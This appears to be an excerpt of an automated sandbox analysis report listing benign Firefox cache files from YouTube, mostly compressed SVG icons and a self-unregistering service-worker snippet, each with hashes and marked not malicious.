SHA-512:	ABD2D36B411DB7E869DA2FA6434644768801EE8DB91C4B06A15B8AF4E3BCB8B58721D654A7208809EAACCEB2D17A91BCCF8D40AEB81C2EBB0817EEEB0A9C31B0
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....mP=....<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><path d="M9 5.87 18.2 12 9...13V5.87M8 4v16l12-8L8 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\52\{e302bcab-1c8b-4791-a9a6-24bf2c60c934}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.443035465798341
Encrypted:	false
SSDEEP:	3:9HSxJKsqDmJS4RKb5sAR+hHAquqFbV9jXReHFAATcvXjXRHRcBHoNcHVaockv58o:9HkJK9mc4slhohgqWHiA4vmI4VhVgq
MD5:	C39AD8422F2A033A19029E992171863C
SHA1:	D4BC0DB91F8B6A7E562632CDBC47238BF7074311
SHA-256:	D4B92610C82EBB2FA1BEECDEC652DD1B40731CED23E5281A1746739BB9636783
SHA-512:	ABD2D36B411DB7E869DA2FA6434644768801EE8DB91C4B06A15B8AF4E3BCB8B58721D654A7208809EAACCEB2D17A91BCCF8D40AEB81C2EBB0817EEEB0A9C31B0
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....mP=....<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><path d="M9 5.87 18.2 12 9...13V5.87M8 4v16l12-8L8 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\55\{b04e6b6a-1bbf-4118-9f36-ccf92a61db37}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	5.401758160539902
Encrypted:	false
SSDEEP:	3:93lcZ8HWAJXRK1RACCML+J6kUjdaQMDg0Ld9j4lNO76vdMbMVRoBnX/QLOwHIH:93a+JX4RonJwaQMDgyd9Ei2weRolXIKz
MD5:	2A252393B98BE6348C4BA18003CC3471
SHA1:	40F75302FCBE4A8AC2E33A8D9DAF801ABC2A9598
SHA-256:	04CAE3C7B208FC55B25763913D0BBDC99232942086EFDF705F2A27764BE6F5EE
SHA-512:	07AF4A7B0D10F1B5E1FE0877B21ABC98483D78797608A1763CFB71E25559FDCE10D20F03C16F4284D7AE7AB90266F45240425E3A264DE9525EC1657345B85198
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY........... self.addEventListener('install', e.. => {. ..(.waitUntil(.@HskipWaiting());. }....F]..activate.^..s..Xclients.claim().then(()...h8registration.un..<er()));. });.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\55\{b04e6b6a-1bbf-4118-9f36-ccf92a61db37}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	5.401758160539902
Encrypted:	false
SSDEEP:	3:93lcZ8HWAJXRK1RACCML+J6kUjdaQMDg0Ld9j4lNO76vdMbMVRoBnX/QLOwHIH:93a+JX4RonJwaQMDgyd9Ei2weRolXIKz
MD5:	2A252393B98BE6348C4BA18003CC3471
SHA1:	40F75302FCBE4A8AC2E33A8D9DAF801ABC2A9598
SHA-256:	04CAE3C7B208FC55B25763913D0BBDC99232942086EFDF705F2A27764BE6F5EE
SHA-512:	07AF4A7B0D10F1B5E1FE0877B21ABC98483D78797608A1763CFB71E25559FDCE10D20F03C16F4284D7AE7AB90266F45240425E3A264DE9525EC1657345B85198
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY........... self.addEventListener('install', e.. => {. ..(.waitUntil(.@HskipWaiting());. }....F]..activate.^..s..Xclients.claim().then(()...h8registration.un..<er()));. });.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\57\{e249432a-fc7e-4623-ad3d-e2985cddd939}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	5.262732210600628
Encrypted:	false
SSDEEP:	6:9NdmoTGK9mc4slhohC/vmI4mqUEUKFI8iyNd1LkBEo8:9Ns6noU/vmREaI83O8
MD5:	253A9D7DBF4F2F8141599D38F58F86EA
SHA1:	0766863065B6C57E98FB00FAD0E6D8CA1C1F6ACA
SHA-256:	FB659AFA77A61D064962153784F63BA71E453E597D98B770C02AA31D1CDFA7D1
SHA-512:	379424E9196CA464ECFF6E513CB32A296A63AFA9FBB8D19561D0CE9CAC304440896F4EFB71956BC781CC51EEDBDA4F6D0E588E075ECBA82E482EA2BF6AEB7371
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....E......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="m22.01 4.91-.5-2.96L1.64 5.19 2 8v13h20V8H3.06l18.95-3.09zM18 9l1 3h-3l-1-3h3zm-5 0 1 3h-3l-1-3h3zM8 9l1 3H6L5 9h3z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\57\{e249432a-fc7e-4623-ad3d-e2985cddd939}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	5.262732210600628
Encrypted:	false
SSDEEP:	6:9NdmoTGK9mc4slhohC/vmI4mqUEUKFI8iyNd1LkBEo8:9Ns6noU/vmREaI83O8
MD5:	253A9D7DBF4F2F8141599D38F58F86EA
SHA1:	0766863065B6C57E98FB00FAD0E6D8CA1C1F6ACA
SHA-256:	FB659AFA77A61D064962153784F63BA71E453E597D98B770C02AA31D1CDFA7D1
SHA-512:	379424E9196CA464ECFF6E513CB32A296A63AFA9FBB8D19561D0CE9CAC304440896F4EFB71956BC781CC51EEDBDA4F6D0E588E075ECBA82E482EA2BF6AEB7371
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....E......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="m22.01 4.91-.5-2.96L1.64 5.19 2 8v13h20V8H3.06l18.95-3.09zM18 9l1 3h-3l-1-3h3zm-5 0 1 3h-3l-1-3h3zM8 9l1 3H6L5 9h3z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\57\{edd959a7-eefe-4a75-b799-5028fed1f939}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	5.23936388544757
Encrypted:	false
SSDEEP:	12:9k7N9U0R9jRxmHRLkCsL9IxflJVf9RYfFpWbTci:9kjUzHNklhI95kfvmci
MD5:	830028A05FD627D68AB70E41825F7F63
SHA1:	721199E2F117990F999B2A41D91536AA4790FC76
SHA-256:	D7F263BBA51F160914640B1310D713268E564D9BB1BBB878E67D442589EDFCA7
SHA-512:	7AF9479E45A89CB49053DF5657133A83B86553CDBAC5BE5FA18ED069C111021AD7D82B02404BB3C35B9E8DC1ED66C3C05BD8A5E8AFD4C0D66A598BE3BA24641B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width....><path d="M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2zm10-2.65V19H4v-1.65l2-1.88v-5.15C6 7.4 7.56 5.1 10 4.34v-.38c0-1.42 1.49-2.5 2.99-1.76.65.3...01 1.03.....76v.39c2.44.75 4 3.06 4 5.98v5.15l2 1.87zm-1 .42-2-1...\47c0-2.47-1.19-4.36-3.13.. -1.26-.53...F4-.5-3.84.03C8.15 6.11 7 7.99 7 10.42v5.47l-2 1.88V18h14v-.23z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\57\{edd959a7-eefe-4a75-b799-5028fed1f939}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	5.23936388544757
Encrypted:	false
SSDEEP:	12:9k7N9U0R9jRxmHRLkCsL9IxflJVf9RYfFpWbTci:9kjUzHNklhI95kfvmci
MD5:	830028A05FD627D68AB70E41825F7F63
SHA1:	721199E2F117990F999B2A41D91536AA4790FC76
SHA-256:	D7F263BBA51F160914640B1310D713268E564D9BB1BBB878E67D442589EDFCA7
SHA-512:	7AF9479E45A89CB49053DF5657133A83B86553CDBAC5BE5FA18ED069C111021AD7D82B02404BB3C35B9E8DC1ED66C3C05BD8A5E8AFD4C0D66A598BE3BA24641B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width....><path d="M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2zm10-2.65V19H4v-1.65l2-1.88v-5.15C6 7.4 7.56 5.1 10 4.34v-.38c0-1.42 1.49-2.5 2.99-1.76.65.3...01 1.03.....76v.39c2.44.75 4 3.06 4 5.98v5.15l2 1.87zm-1 .42-2-1...\47c0-2.47-1.19-4.36-3.13.. -1.26-.53...F4-.5-3.84.03C8.15 6.11 7 7.99 7 10.42v5.47l-2 1.88V18h14v-.23z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\59\{5db5248f-5653-4f56-83c0-9513b973733b}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	557
Entropy (8bit):	5.078550931781834
Encrypted:	false
SSDEEP:	12:9uJ6noU/vmRTKd2aNsrIlAzyXDMJs01itWVyeA4OzmLBgq:9uJ6oU/vo4PsPyXgFy34cq
MD5:	329D8AE08D8DC87F86A511B55ECFC6EE
SHA1:	46A40FB3E9C046870707B0A98FFF5A53CB4857F8
SHA-256:	A61773D79B8FC91CDE32C678A7E7B10CD7EE94C0023A83CCE29180C032F5472D
SHA-512:	6940B02ABFBF4CDA7439F2B0DDBFB7B63FCC451B12D2A3FD4DEE2E0D1F2FA3C23AF1B5177D7E6F68DB6252D5AAAA702838BBDFAC9CBBB12B6588E9DB535324EC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4...-10S17.52 2 12 2zm0 1c4.96 0 9 4.04 9 9 0 1.42-.34 2.76-.93 3.96-1.53-1.72-3.98-2.89-7.38-3.03A3.996 3.996 0 0016 9c0-2.21-1.79-4-4-4S8 6.79 8 9c0 1.97 1.43 3.6 3.31.jt3-3.4.14-5.85 1.31-7.38 3.03C3..014.76 3 13.42...2c0-....$-9 9-9zM9 ...1.6.E 5-3 3-3s3.R.5 ...1.......X-3-3zm3 12c-3.16 0-5.94.D<4-7.55-4.12C6.01...93 8.61...9!ST13.9c3.39 0 5.99 1.03 .8d 2.98C17.94 19.36 15.16 21.8,21z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\59\{5db5248f-5653-4f56-83c0-9513b973733b}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	557
Entropy (8bit):	5.078550931781834
Encrypted:	false
SSDEEP:	12:9uJ6noU/vmRTKd2aNsrIlAzyXDMJs01itWVyeA4OzmLBgq:9uJ6oU/vo4PsPyXgFy34cq
MD5:	329D8AE08D8DC87F86A511B55ECFC6EE
SHA1:	46A40FB3E9C046870707B0A98FFF5A53CB4857F8
SHA-256:	A61773D79B8FC91CDE32C678A7E7B10CD7EE94C0023A83CCE29180C032F5472D
SHA-512:	6940B02ABFBF4CDA7439F2B0DDBFB7B63FCC451B12D2A3FD4DEE2E0D1F2FA3C23AF1B5177D7E6F68DB6252D5AAAA702838BBDFAC9CBBB12B6588E9DB535324EC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4...-10S17.52 2 12 2zm0 1c4.96 0 9 4.04 9 9 0 1.42-.34 2.76-.93 3.96-1.53-1.72-3.98-2.89-7.38-3.03A3.996 3.996 0 0016 9c0-2.21-1.79-4-4-4S8 6.79 8 9c0 1.97 1.43 3.6 3.31.jt3-3.4.14-5.85 1.31-7.38 3.03C3..014.76 3 13.42...2c0-....$-9 9-9zM9 ...1.6.E 5-3 3-3s3.R.5 ...1.......X-3-3zm3 12c-3.16 0-5.94.D<4-7.55-4.12C6.01...93 8.61...9!ST13.9c3.39 0 5.99 1.03 .8d 2.98C17.94 19.36 15.16 21.8,21z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\68\{78d9f2a2-03bf-44a4-90f8-b98f58f18b44}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	621
Entropy (8bit):	5.6481918689910575
Encrypted:	false
SSDEEP:	12:934taL2ssumCkhkBUk0YG432MjRpfm2GxYbtWkeVeZCgruAM:934taSwfE/f3S/jbyPeZCtAM
MD5:	C65B0EC9F20FA9E69DF1FAD2B2A28E33
SHA1:	4449FE9D195163E22A0B205966B402058D9E8BD2
SHA-256:	0500A3B5295D9ECAC1151418DD4279DA2AEDA76E2B9F05AC56967FCB882DAB01
SHA-512:	19A870B77F57E555B2D67116DEE5487E700BC64CCF689EF98FA0E54FAC162351127C09523F8E8D9A3C3587CE089B84EB5E81076486DFBE93171843B6360F5516
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY._.......U<svg xmlns="http://www.w3.org/2000/svg"><path fill="red" d="M11.13 1.21c.48-.28 1.26-...474 0l8.01 4.64."..28.87.97.87 1.53v9.24c0 .56-.39 1.25-....l-8.=.-.4.>.-._..2...^.".-._.".-....87-.97...d4V7.38c0-.56.39.B.5.#.....?.z"/><...#fff..lm12.71 18.98 4.9-2.83c.41-.2.x.-.77.64.W.4V..(-.47-.23-1-...l-.;.2...<.3-1.02.'..42 0L... 8. .<..64.77..!..4v5.67!)$47.24 1 .6...l4.9 ..02.12.46.18.71..L26-.01.51-.07.71-.18>...r-...(32 5.73 4.8.T(16.09.41.31...67...3...5.54-.....7.-.8!...09-...0!..8-?. .-..!..3.C.-.6-A%..37.A..58.#.68l..-}.08-.05.2...3...s!..02.32.07>..5.(M9.88 15.25...5 12 ..88.75z"/></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\68\{78d9f2a2-03bf-44a4-90f8-b98f58f18b44}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	621
Entropy (8bit):	5.6481918689910575
Encrypted:	false
SSDEEP:	12:934taL2ssumCkhkBUk0YG432MjRpfm2GxYbtWkeVeZCgruAM:934taSwfE/f3S/jbyPeZCtAM
MD5:	C65B0EC9F20FA9E69DF1FAD2B2A28E33
SHA1:	4449FE9D195163E22A0B205966B402058D9E8BD2
SHA-256:	0500A3B5295D9ECAC1151418DD4279DA2AEDA76E2B9F05AC56967FCB882DAB01
SHA-512:	19A870B77F57E555B2D67116DEE5487E700BC64CCF689EF98FA0E54FAC162351127C09523F8E8D9A3C3587CE089B84EB5E81076486DFBE93171843B6360F5516
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY._.......U<svg xmlns="http://www.w3.org/2000/svg"><path fill="red" d="M11.13 1.21c.48-.28 1.26-...474 0l8.01 4.64."..28.87.97.87 1.53v9.24c0 .56-.39 1.25-....l-8.=.-.4.>.-._..2...^.".-._.".-....87-.97...d4V7.38c0-.56.39.B.5.#.....?.z"/><...#fff..lm12.71 18.98 4.9-2.83c.41-.2.x.-.77.64.W.4V..(-.47-.23-1-...l-.;.2...<.3-1.02.'..42 0L... 8. .<..64.77..!..4v5.67!)$47.24 1 .6...l4.9 ..02.12.46.18.71..L26-.01.51-.07.71-.18>...r-...(32 5.73 4.8.T(16.09.41.31...67...3...5.54-.....7.-.8!...09-...0!..8-?. .-..!..3.C.-.6-A%..37.A..58.#.68l..-}.08-.05.2...3...s!..02.32.07>..5.(M9.88 15.25...5 12 ..88.75z"/></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\69\{b71c0fdf-1007-4130-87c5-dba105b5dd45}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	4.806165606590907
Encrypted:	false
SSDEEP:	12:9/tnoU/vmRwFs0BIXDJHNjihnbH7Z7YOV7pidImWY67:91oU/vd9B8JJi5bH7Z7YddImx0
MD5:	FB3D6634360A9125CE7EDD27C987C8C7
SHA1:	D3B094DE4065F9302BC48D57637BBE04CCA19D0A
SHA-256:	E75D4B40320638F498C0E1B2DAF9A4C9F2EF1F09010D48A88740C48B43D306C3
SHA-512:	C880E7C9A5174E0E31A733393744E19C82E6A7F424BE9E35A6736CC1209D17552E0C5A6CDB8CD725A77A00F15D2E4065B21DB78A99ABB5F35758D32ADB52A53A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.u...L.....k.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 3c3.31 0 6 2.69 6 6 0 3.83-4.25 9.36-6 11.47C9.82 17.86 6 12.54 6 9c0-3.31 2.69-6 6-6m0-1C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7zm0 5c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-1c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\69\{b71c0fdf-1007-4130-87c5-dba105b5dd45}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	4.806165606590907
Encrypted:	false
SSDEEP:	12:9/tnoU/vmRwFs0BIXDJHNjihnbH7Z7YOV7pidImWY67:91oU/vd9B8JJi5bH7Z7YddImx0
MD5:	FB3D6634360A9125CE7EDD27C987C8C7
SHA1:	D3B094DE4065F9302BC48D57637BBE04CCA19D0A
SHA-256:	E75D4B40320638F498C0E1B2DAF9A4C9F2EF1F09010D48A88740C48B43D306C3
SHA-512:	C880E7C9A5174E0E31A733393744E19C82E6A7F424BE9E35A6736CC1209D17552E0C5A6CDB8CD725A77A00F15D2E4065B21DB78A99ABB5F35758D32ADB52A53A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.u...L.....k.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 3c3.31 0 6 2.69 6 6 0 3.83-4.25 9.36-6 11.47C9.82 17.86 6 12.54 6 9c0-3.31 2.69-6 6-6m0-1C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7zm0 5c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-1c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\70\{7e2d1d4a-735a-45b5-94e5-2215d64dd246}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	205
Entropy (8bit):	5.58355183984056
Encrypted:	false
SSDEEP:	3:9A+mUGKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17ubkcHEkRY4zf9UJtTzWNRIIRk:9Bm89mc4slhLJ9hCcozRqj/CIIHZY
MD5:	FE5981F30C81E299A4B3CBB8D54C236D
SHA1:	86D257366F84C5DA701CE39084E8BD6B54A644C5
SHA-256:	D94C2EF736A7E46E3C6DA5CE1B0F4AE07D1AEDF5DE035104FA48C3804F5CC86D
SHA-512:	51BC339682768B4AB038325BC12186AA16836E7179D36ECACDC8B4559B70E76E7868BFBD1AE19AF5FC35EE36299060166D5C4DA74F70C0816849510F93E2A403
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....A..,...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...K><path d="M4 20h14v1H3V6h1v14zM21 3v15H6V3h15zm-4 7.5L11 7v7l6-3.5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\70\{7e2d1d4a-735a-45b5-94e5-2215d64dd246}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	205
Entropy (8bit):	5.58355183984056
Encrypted:	false
SSDEEP:	3:9A+mUGKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17ubkcHEkRY4zf9UJtTzWNRIIRk:9Bm89mc4slhLJ9hCcozRqj/CIIHZY
MD5:	FE5981F30C81E299A4B3CBB8D54C236D
SHA1:	86D257366F84C5DA701CE39084E8BD6B54A644C5
SHA-256:	D94C2EF736A7E46E3C6DA5CE1B0F4AE07D1AEDF5DE035104FA48C3804F5CC86D
SHA-512:	51BC339682768B4AB038325BC12186AA16836E7179D36ECACDC8B4559B70E76E7868BFBD1AE19AF5FC35EE36299060166D5C4DA74F70C0816849510F93E2A403
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....A..,...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...K><path d="M4 20h14v1H3V6h1v14zM21 3v15H6V3h15zm-4 7.5L11 7v7l6-3.5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\73\{c9ad8208-45da-4fa1-b5fd-38732d2b8249}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	640
Entropy (8bit):	5.4019790259120635
Encrypted:	false
SSDEEP:	12:91d7N9UgTsgBHN1N8IiIa2j91C66mBCspPnJ33gu/WXnnXUZi:91djUy3HLN88pj91C2BCO33S3XX
MD5:	1A4440F23087CC4199B3DAB287420695
SHA1:	294A24B503AE9B92473AC2CD865CAE9BC7A822A3
SHA-256:	6E519278D35FC34AA5BACAE97264564ED390313395D1D768A303FA1A74B3A9C4
SHA-512:	BB62AFC9E89B784FBC3FE47014F7B73FB97F9766DFD65B5A79B50DED4ECE9648BFD208C708D433C292B4B06ECE86B2E5745581F06D5C41AE5ECEC1340BE726EC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.r..I....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...R><path d="M12 2 4 5.67v5.49c0 1.47.3 2.9.81 4.22.17.44.37.86.6 1.28.16.3.34.6.52.88.6.2 .P 3.52 3.82 5.95 4.44L.gl2l.12-.03c2.43-.61 4.53-2.26.+.-4.43.19-.29.36-.58.52-.88.22-.41.7.84.6-..851-1.33.81-2.76...4.23V...r.zm..$1 6.11 2.8..$11.15 5.89.t. 1..@1zM5.75 15.01c-.5.` 6-.75-2.5..D3.86v-4.7l6.23 5.3...98!! 8c-.2-.37...72.C.07zm11.48 1.98C15.91 19 14.06 20.41..,20.97c-2.06-.n.3.9...97-5.23...8 0-.01:.. 2l5.24-4....24!M.c.#....2zM.u...c!..3-.25 2...!..6-.14..D.3.7-.5 1.08l-4.98!QX8L19 6.45v4.7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\73\{c9ad8208-45da-4fa1-b5fd-38732d2b8249}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	640
Entropy (8bit):	5.4019790259120635
Encrypted:	false
SSDEEP:	12:91d7N9UgTsgBHN1N8IiIa2j91C66mBCspPnJ33gu/WXnnXUZi:91djUy3HLN88pj91C2BCO33S3XX
MD5:	1A4440F23087CC4199B3DAB287420695
SHA1:	294A24B503AE9B92473AC2CD865CAE9BC7A822A3
SHA-256:	6E519278D35FC34AA5BACAE97264564ED390313395D1D768A303FA1A74B3A9C4
SHA-512:	BB62AFC9E89B784FBC3FE47014F7B73FB97F9766DFD65B5A79B50DED4ECE9648BFD208C708D433C292B4B06ECE86B2E5745581F06D5C41AE5ECEC1340BE726EC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.r..I....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...R><path d="M12 2 4 5.67v5.49c0 1.47.3 2.9.81 4.22.17.44.37.86.6 1.28.16.3.34.6.52.88.6.2 .P 3.52 3.82 5.95 4.44L.gl2l.12-.03c2.43-.61 4.53-2.26.+.-4.43.19-.29.36-.58.52-.88.22-.41.7.84.6-..851-1.33.81-2.76...4.23V...r.zm..$1 6.11 2.8..$11.15 5.89.t. 1..@1zM5.75 15.01c-.5.` 6-.75-2.5..D3.86v-4.7l6.23 5.3...98!! 8c-.2-.37...72.C.07zm11.48 1.98C15.91 19 14.06 20.41..,20.97c-2.06-.n.3.9...97-5.23...8 0-.01:.. 2l5.24-4....24!M.c.#....2zM.u...c!..3-.25 2...!..6-.14..D.3.7-.5 1.08l-4.98!QX8L19 6.45v4.7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\76\{338e5841-d408-43bd-8e8a-7737bb80184c}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	5.557908737699225
Encrypted:	false
SSDEEP:	6:9llLmo/9mc4slhLJ9hCu44z7iNljg0AiICpOTfygdXXUEC9zOMjnyG:9jZF7N9UuB6TEDiI6cdXXU7tnjnyG
MD5:	A5B6E175F5A577AF3302C7029593ADFC
SHA1:	7B21982420C602F2678B28D3EEB7172D5C491903
SHA-256:	02240202D841F7910CFC4D17AEBDEF67A1084E704359FDF544D80DEC3809A8E1
SHA-512:	9E62F4350403815E642A70D746BAC7C8862238A8F108491F6E33031DB7EBEF4CE91A9A97D83F9FE9C15DD70333BDA1229DD7D1EE709F964DD8C65071833B6544
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.s........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M16 21h-2.28c-.35.6-.98 1-1.72 1s-1.38-.4...-1H8v-1h8v1zm4-11c0 2.96-1.61 5.54-4 6.92V19H8v-2.08C5.61 1... 4 1./..P0c0-4.42 3.58-8 8-8s8.. 8 8zm-5 .k\.66l.5-.29C17.66 14.8 19.I.4...J(3.86-3.14-7...s-7 ... 7...+..34 .=.3.5 6.0.XD.28V18h6z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\76\{338e5841-d408-43bd-8e8a-7737bb80184c}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	5.557908737699225
Encrypted:	false
SSDEEP:	6:9llLmo/9mc4slhLJ9hCu44z7iNljg0AiICpOTfygdXXUEC9zOMjnyG:9jZF7N9UuB6TEDiI6cdXXU7tnjnyG
MD5:	A5B6E175F5A577AF3302C7029593ADFC
SHA1:	7B21982420C602F2678B28D3EEB7172D5C491903
SHA-256:	02240202D841F7910CFC4D17AEBDEF67A1084E704359FDF544D80DEC3809A8E1
SHA-512:	9E62F4350403815E642A70D746BAC7C8862238A8F108491F6E33031DB7EBEF4CE91A9A97D83F9FE9C15DD70333BDA1229DD7D1EE709F964DD8C65071833B6544
Malicious:	false
Reputation:	unknown
